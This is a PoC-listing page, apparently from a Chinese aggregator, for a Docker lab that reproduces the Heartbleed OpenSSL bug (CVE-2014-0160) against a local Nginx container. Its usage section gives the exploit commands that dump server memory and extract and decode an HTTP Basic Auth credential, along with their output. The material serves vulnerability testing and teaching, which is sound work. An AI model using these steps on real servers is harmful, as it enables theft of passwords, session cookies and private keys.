POC详情: 66292d3f531fe903558976317b8e111510da1429

来源
关联漏洞
标题: OpenSSL 缓冲区错误漏洞 (CVE-2014-0160)
描述:OpenSSL是OpenSSL团队开发的一个开源的能够实现安全套接层(SSL v2/v3)和安全传输层(TLS v1)协议的通用加密库,它支持多种加密算法,包括对称密码、哈希算法、安全散列算法等。 OpenSSL的TLS和DTLS实现过程中的d1_both.c和t1_lib.c文件中存在安全漏洞,该漏洞源于当处理Heartbeat Extension数据包时,缺少边界检查。远程攻击者可借助特制的数据包利用该漏洞读取服务器内存中的敏感信息(如用户名、密码、Cookie、私钥等)。以下版本的OpenSSL受到
描述
Dockerfile for testing CVE-2014-0160 Heartbleed exploitation.
介绍
## Testing Heartbleed with Nginx Dockerfile

This repository contains **Dockerfile** of **Nginx** with the vulnerable **OpenSSL version (1.0.1f)** for testing **CVE-2014-0160 Heartbleed** Vulnerability.

### Base Docker Image

* debian:latest

### Installation

1. Install [Docker](https://www.docker.com/)
    - Example with Debian: `apt-get install -y docker`

2. Download from public [Docker Hub Registry](https://registry.hub.docker.com/) the debian base image: 
`docker pull debian:latest`

3. Build the image from Dockerfile: `docker build -t heartbleed_nginx_img .`

### Usage

##### Start the Heartbleed+Nginx container

`docker run -i -t -p 1500:443 heartbleed_nginx_img`

##### Testing Heartbleed Vulnerability (CVE-2014-0160) with HTTP Basic Authentication method

1. Download the [Heartbleed-poc Python script](ttps://github.com/sensepost/heartbleed-poc/blob/master/heartbleed-poc.py) (For Testing Purposes Only !). This is a modified version originally by Jared Stafford <jspenguin@jspenguin.org>.
    **Thanks to SensePost for this one.**
2. Open two new Tabs on your current terminal and run :

    - First Tab (Generating **x100 GET requests** using **HTTP Basic Auth** with curl command):
 
        `for loop in {0..100..1}; do curl -X GET -s -i -k -u admin:myP@ssword0MG https://127.0.0.1:1500| grep -E "200"; done`

        
        >HTTP/1.1 200 OK
        >HTTP/1.1 200 OK
        >HTTP/1.1 200 OK
        >HTTP/1.1 200 OK
        >snipp...
    - Second Tab (Generating **x100 Heartbeats(-n 100) requests** and write the memory dump to **"dump.bin"** file, then grab the result from **"Authorization"** field from memory dump and finally decode **Base64** result string to plain text in clear **^^**):

        `python heartbleed-poc.py -f dump.bin -q -n 100 -p 1500 127.0.0.1 && grep -a "^Authorization:" dump.bin | head -n1 | awk -F " " '{print $3}' | tr -d '\n\r' | base64 --decode && echo`

       
        >WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable!
        >... received message: type = 22, ver = 0302, length = 66
        >... received message: type = 22, ver = 0302, length = 925
        >... received message: type = 22, ver = 0302, length = 331
        >... received message: type = 22, ver = 0302, length = 4
        >... received message: type = 24, ver = 0302, length = 16384
       >WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable!
        >snipp...
        >admin:myP@ssword0MG


文件快照

[4.0K] /data/pocs/66292d3f531fe903558976317b8e111510da1429 ├── [1.5K] Dockerfile ├── [ 190] entrypoint.sh ├── [1.0K] LICENSE └── [2.4K] README.md 0 directories, 4 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。